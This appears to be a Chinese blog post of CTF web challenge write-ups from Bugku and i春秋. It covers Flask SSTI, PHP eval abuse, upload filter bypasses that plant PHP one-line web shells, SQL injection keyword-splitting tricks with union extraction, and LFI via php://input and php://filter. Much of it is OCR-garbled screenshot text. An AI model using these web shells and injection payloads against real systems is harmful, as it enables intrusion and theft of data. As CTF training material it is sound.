Bugku、i春秋解题 web wp(一)

原创

poggioxay

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分类专栏: <u>笔记 wp i春秋</u>

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Bugku Simple_SSTI_1(python模板注入)

```
1. 启动常见后只有一行字母,我们什么也看不出来。点击右键,查看网页源代码
```

```
1 </Pre>
1 </Pre>
1 Lang="en">
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```

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2. 倒数第三行绿色的字

--- You know, in the flask, We often set a secret_key variable.-->

意思是 你知道,在flask【一个Python编写的Web 微框架,让我们可以使用Python语言快速实现一个网站或Web服务。】里,我 们经常设置一个secret_key变量,所以我们要读取 secret_key 变量,导出所有 config 变量,其中就包括 SECRET_KEY,需要在题目 url后面添加 /?flag={{config.items()}},点击访问,则在页面可发现 flag{c3af0e0464d89e12a4983dbf4b3984da}。

← → C @	☑ <u><u>%</u> 114.67.246.176:19306/?flag={{config.items()}}</u>	器 … ☆	III\ 🗉 🛎 🕇 🥱 🧐 🚍
🕣 导入书签 🛅 ctf 🚺 U	nicode编码转换 📄 靶场 🖨 在线加密解密 - chah 💿 MD5免费在线解密破 🖨 文件上传漏洞绕过 YI		□ 移动设备上的书签

dict_items((('ENV', 'production'), ('DEBUG', True), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('SECRET_KEY', 'flag(c3af0e0464d89e12a4983dbf4b3984da)'), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)), ('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'), ('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', False), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(seconds=43200)), ('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_UR_SCHERCE_UR_SCHER', 'thtp'), ('JSON_SASLI', True), ('JSON_SORT_KEYS', True), ('JSONIFY_PRETTYPRINT_REGULAR', False), ('JSONIFY_MIMETYPE', 'application/json'), ('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_IZE', 4093)])

Bugku Simple_SSTI_2

You need pass in a parameter named flag

```
    由题目可知,这道题依然为模板注入。与上一题思路相同,点击右键,查看网页源代码。
    利用上一题的思想,我们从源码中得不到多余的提示,只提示我们要传参。
```

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i春秋 Misc Web 爆破-1

			"百度杯" CTF比赛	2017 二月场	×	<
分值:	10分	类型: <mark>Misc</mark> Web	题目名称: 爆破-1		已解答	
题目内容:	flag就在算	某六位变量中。				
h	nttp://81	17e5fb3b3c649c3	bb9f40810117a69862f0 00:55:3 延长时间(3)	08c1355fd459f.changa 1 f创建	ime.ichunqiu.com:80	
Flag:					提交	
解题排名:		青海长云 🔰 canic	<mark>3</mark> 王乙文			
			提交Writeup获取题	表市	https://blog.csdn.net/m0_558548	679

```
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/`\w*$/',$a )){
    die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>
```

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- 第一行include"flag.php"表示文件中包含flag.php文件,第二行 \$a = @\$_REQUEST['hello'] 表示命名一个变量a来接收超全局变量【意味着它们在一个脚本的全部作用域中都可用】 @\$_REQUEST['hello'] 。 \$_REQUEST 用于收集 HTML 表单提交的数据。 \$a = @\$_REQUEST['hello'] 则是请求一个名为hello的参数.
- 3. 因此可以直接在url后面提交 /?hello=GLOBALS,

<pre>array(9) { ["_GET"]=> array(1) { ["hello"]=> string(7) "GLOBALS" } ["_POST"]=> "1780c0dd0d2845-058f76d7fe56f8-53e356a-144000-1780c0dd0d3855" ["chk ["ci_session"]=> string(40) "f12e460e37f366964e433475146c595457e5ccd2" ["1620721245,1620727293" ["_jsluid_h"]=> string(32) "9ad90e15ffd82c2b0199 string(10) "1620728005" } ["_FILES"]=> array(0) { } ["_REQUEST"]=> array(1) { [</pre>	array(0) { } ["_COOKIE"]=> array(6) { ["UM_distinctid"]=> strir phone"]=> string(33) "acWxNpxhQpDiAchhNuSnEqyiQuDlO0 ["Hm_lvt_2d0601bd28de7d49818249cf35d95943"]=> string(2' 86300318b3bb3" ["Hm_lpvt_2d0601bd28de7d49818249cf35d ["hello"]=> string(7) "GLOBALS" } ["flag"]=> string(38) "flagÆ: " ["a"]=> string(7) "GLOBALS" ["GLOBALS"]=> *RECURSION*	ig(59) OOO" 1) 95943"]=> 一个长度为6的变量 } php</th
🕞 🛅 Elements Console Sources Network Performance Memory Application Security Lighthouse	HackBar	4 E ×
LOAD SPLIT EXECUTE TEST - SQLI - XSS - LFI - SSTI - ENC	CODING - HASHING -	THEME -
URL http://2e604e9ca3e445c4b1647e61a79493b9f7c0128a9ccb4717.changame.ichunqiu.com/?hello=GLO	BALS ADD HEADER	

4. EQUEST变量包含_GET、\$_POST变量,因此post传参数hello=GLOBALS也可以。

i春秋 Misc Web 爆破-2

1. 与上一题相同,打开链接是一段php源码代码与上一题基本相同,利用上一题的解题思路我们发现这种方法不可行,但是 第二题源码中未出现过滤字符的代码。利用上一题的解题思路我们发现这种方法不可行

```
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);</pre>
```

https://blog.csdn.net/m0_55854679

- 把一个 file_get_contents() 函数【file_get_contents(path) 函数,获得指定路径下的文件内容,以字符串的形式返回出来。eval(str) 函数,把括号里的字符串,当作 php 命令来执行。】命令赋值给 \$a 传入 var_dump() 中。 var_dump() 函数就是把这个命令以字符串的形式返回,进入到嵌套的 eval 函数里面,让 eval 函数来执行这行命令。
- 3. 因此,我们我们使用get传参在url后面添加 /?hello=file_get_contents("flag.php"),页面跳转成功后查看该页面的源码即可成功 得到flag。
 - 1 string(83) "<?php
 - \$flag = 'Too Young Too Simple'; #flag {57469544-9151-43dd-b490-9998a0a9a253};
 - *"*
 - 5 <code >< span style="color: #000000">
 6 <?php
<?php
<?php
<?php
<?php

i春秋 Web Upload

打开链接题目提示随便上传什么文件,我们尝试上传一个含有一句话木马的flag.php文件,显示上传成功。



https://blog.csdn.net/m0_55854679

点击右键查看网页源代码,查看我们上传的php文件内容,发现php的标签被过滤。因此我们应该想办法绕过过滤,使蚁剑 连接时能识别出一句话木马。

1 @eval(\$_POST['cmd']); ?>

我们尝试大小写绕过以及使用注释进行干扰、双写绕过,发现 php 标签中 <? 依然被过滤,而php成功绕过。我们用 <script language="pHp">@eval(\$_POST['123'])</script> script标签来绕过 <?,即可绕过成功。

打开蚁剑连接这个php文件,连接成功并打开后,即可在html目录下找到flag.php文件即可找到flag。

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	2 请求信息					^			
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		ැති flag.php	2021-05-11 11:50:44	73 b	0644	ł			
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i春秋Misc Web 爆破-3

```
1. 打开链接可以看到一段php源码。
```

```
<?php
error reporting (0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])) {
    $_SESSION['nums'] = 0;
$_SESSION['time'] = time();
    $_SESSION['whoami'] = 'ea';
}
if($_SESSION['time']+120<time()) {
    session destroy();
$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0, 25)].$str_rand[mt_rand(0, 25)];
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
    $_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
    echo $str_rands;
}
if ($_SESSION['nums']>=10) {
    echo $flag;
}
show_source(__FILE__);
?
```

https://blog.csdn.net/m0_55854679

2. 我们需要看懂最后几行关于flag的代码,即当前session中

```
nums是不是大于10,现在nums=0,只有使nums+10,才可以输出flag,nums+1的条件有两个,一;
3. 构造一个payload /?value[]=ea,我们需要第一次传入 ea,然后得到打印出的随机数作为值第二次访问页面并进行传入。只
```

```
要我们连续10次成功,就能在页面中看到flag。
```

```
dsflag{8270f327-c42f-4569-b0fc-1fe7a01c8037} <?php
                           error_reporting(0);
                           session_start();
                           require('./flag.php');
                           if(!isset($_SESSION['nums'])) {
                                             $_SESSION['nums'] = 0;
$_SESSION['time'] = time();
                                             $_SESSION['whoami'] =
                                                                                                                                                             'ea';
                           if($ SESSION['time']+120<time()) {</pre>
                                              session_destroy();
                           $value = $_REQUEST['value'];
                          str rand = range('a' z').

k = 1 | Elements Console Sources Network Performance Memory Application Security Lighthouse HackBar
                                     LOAD
                                                                 SPLIT EXECUTE
                                                                                                                                                       TEST - SQLI - XSS - LFI -
                                                                                                                                                                                                                                                                                                                            SSTI - ENCODING -
                                                                                                                                                                                                                                                                                                                                                                                                                                               HASHING -
                             URL
                             http://81af8e121e9741388a19dd24a74d2415db2a6efd13674fc4.changame.ichungiu.com/?value[]=rg
                                     Enable POST
                                                                                                                                                                                                                                                                                                                                                                                                                   ADD HEADER
Image: Image:
                                                                                                                                                       111
```

i春秋 Web SQL

2.	查看源码得到提示 SELECT * FROM info WHERE id=1
	<pre>{meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></pre>
	SELECT * FROM info WHERE id=1 flag{在数据库中}
	https://blog.csdn.net/m0_55854679
	1=1时正常访问,1=2时页面为空白,则为数字型注入
3	尝试添加and 1=1。发现被拦截、测试or1=1。也发现or被拦截
0.	$\epsilon \rightarrow C$ \land
	👬 应用 🍪 百度一下 💴 海宝 D 京东 🍞 天猫 🍸 天猫超市 360号航 🏁 网址导航 🖸 苏宁易购 👸 唯品会 🎴 看新闻 Ď 影视大全 热头条 📀 新标签页 🧐 小猿众包 U [*] U+新工科智慧云 🌘
	inj code!
	https://blog.csdn.net/m0_55854679
4.	用相应字符来代替and和or,and>&& or> ,发现可以成功绕过。
	← → C △ ▲ 不安全 ec07327b560a448bb025d4c698b3699de883a427885a4ea5.changame.ichunqiu.com/index.php?id=1%20%20&&1=1
	flag{在数据库中}
	1-1时正常访问 1-2时页面为穴白 则为粉字刑注)
	1-1时正常切问,1-2时灭国为工口,则为数于空往八
5.	j接下来尝试猜字段长度,使用order by字段和二分法进行猜测,发现order by被拦截
	← → C ☆ ▲ 不安全 ec07327b560a448bb025d4c698b3699de883a427885a4ea5.changame.ichunqiu.com/index.php?id=1%20%20order%20by%201

6. 我们尝试使用<>把order字符隔开绕过,发现可行,得出字段数为3。 flag(在数据库中)

Lw		Elements	Console	Sources	Network	Pe	erformance	Memor	ry .	Applica	tion	Securi	ty	Lighthouse	HackBar				
	LOAD	SPLIT	EXE	CUTE	TEST	•	SQLI	- x	SS	•	LFI	•	SSTI	₹ E	NCODING	•	HASHING	•	
u h	RL http://ec	:07327b56	0a448bb	025d4c6	98b3699	de8	83a4278	85a4ea	5.ch	angan	ne.icl	hungii	1.com	/index.ph	p?id=1 o<:	>rder l	by 3		

7. 我们使用union (all) 联合查询来查看显示位的字段数,发现select被过滤,同样使用<>隔开。

flag{在数据库中}

5

_ _

	Elements	Console	Sources	Network	Pe	rformance	Memory	Applic	ation	Secur	ity	Lighthous	e Hack	kBar				
LOAD	SPLIT	EXE	ECUTE	TEST	•	SQLI	- XSS	•	LFI	•	SSTI	•	ENCOD	ING	•	HASHING	•	
^{URL} http://fac	11c1917e	c3441bb	7053bd7l	bc80e11a	a1a6	513880e	21c405c.ch	angar	me.ich	nunqiu	i.com/	index.pl	np?id=1	unio	on s	el<>ect 4,5,6		

表明返回的列数为三,从左往右第二个位置会返回到页面上,找到回显位置后,就可以通过联合查询来回显数据库,即构造 /index.php?id=1 union s<>elect 1,database(),3,得出数据库为sqli。(若空格被过滤,可用+绕过)

flag{在数据库中}

sqli

 Image: Billing Console Sources Network Performance Memory Application Security Lighthouse HackBar

 LOAD
 SPLIT
 EXECUTE
 TEST •
 SQLI •
 XSS •
 LFI •
 SSTI •
 ENCODING •
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 URL http://fad1c1917ec3441bb7053bd7bc80e11a1a613880e21c405c.changame.ichunqiu.com/index.php?id=1 union s<>elect 1,database(),3
 Hitps://blog.codn.net/m0_5585d7bc

8. 接下来是通过不断构造payload使flag回显。构造 /index.php?id=1 union se<>lect 1,table_name,3 from information_schema.tables 显示所有表名

flag{在数据库中}

CHARACTER_SETS

COLLATIONS

COLUMN_PRIVILEGES	
ENGINES	
EVENTS	
FILES	
GLOBAL_STATUS	
GLOBAL_VARIABLES	
KEY_COLUMN_USAGE	
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URL http://c05b90f2f2ff4ba784de4db9949fdfaa02c9fb8d0afe4fdb.changame.ichunqiu.com/index.php?id=1 union se<>lect 1,table_name,3 from information_schema.tables 	
9. 构造payload /index.php2id=1.union.coc>loct 1.table_name 2 from information_cohome.tables.utors.table_cohome='adii'	dn.nel/m0_55854679
3. 构造payload /index.php?id=1 diffort se调用的表。	· 1년 개도 그 191
flag(在数据库中)	
info	●英 少
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I Elements Console Sources Network Performance Memory Application Security Lighthouse HackBar LOAD SPLIT EXECUTE TEST · SQLI · XSS · LFI · SSTI · ENCODING · HASHING · URL http://c05b90f2f2ff4ba784de4db9949fdfaa02c9fb8d0afe4fdb.changame.ichunqiu.com/index.php?id=1 union se<>lect 1,table_name,3 from information_schema.tables where table_sources to the second sec	TH Shema='sqli' 回显info的
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11. 构造payload /index.php?id=1 union se<>lect 1,flAg_T5ZNdrm,3 from info 回显flag。

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test	

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i春秋 web include

 题目提示为文件包含漏洞【文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如 果没有做足够的安全考虑,则可能会引发文件包含漏洞。攻击着会指定一个"意想不到"的文件让包含函数去执行,从而造 成恶意操作。】。点开链接,可以看到一段php源码并且出现了phpinfo的页面,从源码看没有任何过滤。

PHP Version 5.6.29	Php
System	Linux ebebcddf184e 4.4.169-1.el6.elrepo.x86_64 #1 SMP Fri Dec 21 11:47:22 EST 2018 x86_64
Build Date	Dec 13 2016 00:04:38
Configure Command	/home/buildozer/aports/main/php5/src/php-5.6.29/configure 'build=x86_64-alpine-linux-musl' ' host=x86_64-alpine-linux-musl' 'prefix=/usr' 'sysconfdir=/etc/php5' '-localstatedir=/var' '-with- layout=GNU'with-config-file-path=/etc/php5' '-with-config-file-scan-dir=/etc/php5/conf.d' '-enable- inline-optimization' '-disable-debug' '-disable-rpath' '-clisable-static' 'enable-shared' ' mandir=/usr/share/man' 'with-pic' 'disable-cl' 'with-apxs2' '-enable-bcmath=shared' ' enable-dba=shared' 'with-db4=shared' 'enable-tfp=shared' 'with-corf=shared' ' enable-dba=shared' 'with-db4=shared' 'enable-tfp=shared' 'with-corf=shared' ' enable-dba=shared' 'with-freetype-dir=shared' 'enable-fip=shared' 'with-icorr=shared' ' enable-dba=shared' 'with-freetype-dir=shared' 'enable-fip=shared' 'with-icorr=shared' ' enable-dba=shared' 'with-freetype-dir=shared' 'enable-fip=shared' 'with-icorr=shared' ' enable-dba=shared' 'with-freetype-dir=shared' 'enable-fip=shared' 'with-jd=shared' ' enable-mbstring=all' 'with-imap=sl=shared' 'enable-libxm1=shared' 'enable-gd- dir=shared/usr' 'enable-port=shared' 'with-dpa=shared' 'enable-libxm1=shared' 'enable-mbstring=all' 'enable-mbstring=all' 'with-mixpsdi=shared' 'enable-libxm1=shared' 'enable-potsr=shared' ' gock=/var/run/mysqld/mysqld.sock' 'with-pdo-shared' 'with-pdo-salte=shared,mysql=shared, ' enable-soap=shared' 'enable-gession' '
Server API	Apache 2.0 Handler
Virtual Directory Support	disabled https://blog.csdh.net/m0_

2. 要想知道文件的名字,搜索一下 allow_url_include 看看是否打开, Ctrl+F,定位到 allow_url_include, 发现是打开的。

Core

PHP Version	5.6.29						
Directive	Local Value	Master Value					
allow_url_fopen	Off	Off					
allow_url_include	On	On					
always_populate_raw_post_data	0	0					
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5 Accept: text/html,application/x

<pre>> Accept-Incounty. ystp. Weinace 7 Accept-Language: zh-CH.sh:q=0.5 8 Coohie: UM_distinctid=1780c0dd0d2845-058f76d7fe56f8-53e356a-144000-1780c0dd0d3855; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDI00000; Hm_lvt_2d060lbd28de7d498182 9 Content-Length: 26 10 Content-Length: 26 11 12 <?php echo system("1s");?></pre>	49cf35d95943=162072
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dle345aae.php	
14 index.php 15 phpinfo.php 16 phpinfo.php	
	0 matches
Done https://	1,013 bytes 156 millis

4. 读取文件内容,同样修改get传参 ?path=php://filter/read=convert.base64-encode/resource=dle345aae.php , 查看响应可能flag被加密。

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5. 使用base64解密即可得到flag。

拓展: php提供四种方法执行外部命令 exec()、passthru()、system()、shell_exec(),这四个函数与一句话木马 中 eval()函数作用相同,即可以代替一句话木马中的 eval()函数,常用的是 system()函数, <?php system('ls')?>属 于一句话木马。

Web Do you know upload?

点开链接,尝试上传.jpg的文件,发现可上传成功。上传包含一句话木马的php文件,即上传失败,因此可以考虑使用burp

来修改	后缀。	, ,											
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<pre>24 (?hbp htpinfo()> 5 (?hbp fvsi(f=ad'));?> 26 27VebKitFormBoundaryKWeNNmyDtjjWAIv 28 Content-Disposition: form-data; name"submit" 29 30 SUbmit 31VebKitFormBoundaryKWeNNmyDtjjWAIv 32 32 (************************************</pre>				
Response Pretty Raw Render \n Actions >			0 match	es
ISIA 上1を Filename: 速揮文件 Submit Upload: flag2.php				
Type: image/jpeg Size: 0.048828125 Kb flag2.php already exists.				6854679

在一句话木马前添加 <?php phpinfo()?>,使用post传参的方法,可获取php版本以及各种权限进行查看。phpinfo执行成功, 说明文件上传成功。

		PHP Versi	ion 5.5.9-1ubuntu4.22
		System	Linux 075bbdf817d1 4.4.169-1.el6.elrepo.x86_64 #1 SMP Fri Dec 21 11:47:22 EST 2018
		Build Date	Aug 4 2017 19:39:57
		Server API	Apache 2.0 Handler
		Virtual Directory Support	disabled
		Configuration File (php.ini) Path	/etc/php5/apache2
		Loaded Configuration File	/etc/php5/apache2/php.ini
		Scan this dir	/etc/php5/apache2/conf.d
Elements Console Sources	Network Performance Me	emorv Applica	tion Security Lighthouse HackBar
LOAD SPLIT EXECUTE	TEST • SQLI •	XSS -	LFI • SSTI • ENCODING • HASHING •
http://3d693ce5b2fd491/9dab/b9	7/2141a96datca0da8ddb4t	/3.changame	e.icnunqiu.com/upioad/fiag2.php
Enable POST	enctype multipart/form-data		- ADD HEADER
Body cmd=phpinfo();			
			https://blog.csdn.net/m0_5585487

查看diabled_function这一行,我们发现常用操作未被禁用,因此我们可以继续操作。

我们将一句话木马文件前添加的phpinfo()删去,重复上述操作,试用burp修改文件后缀并上传。

使用蚁剑连接木马,然后在config.php文件中可以看到数据库的用户名和密码。

👰 中国蚁剑						_		
AntSword 编辑 窗口 调试								
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e- r html	C	upload			2021-05-14 02:56:56	4 Kb	0755	
L India	ক	config.php			2017-10-16 15:44:40	281 b	0644	
	Ŵ	index.php			2017-10-16 15:44:40	1.68 Kb	0644	

https://blog.csdn.net/m0_55854679

右键点击我们添加的shell。点击数据操作,然后选择mysql,输入登录数据库的用户名ctf和密码ctfctfctf,即可找到flag文件获得flag。

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●添加 『编辑 會刪除	▶执行 × 清空	
 ເກັ້າ mysql://ctf@localhost information_schema ctf flag flag (varchar(255)) 	1 SELECT `flag` FROM `flag` ORDER BY 1 DESC LIMIT 0,20;	
	flag	
	flag{49b60f53-74ee-4c00-a815-407caf28e4b8}	
	https://blog.csdn.net/m0_558548	579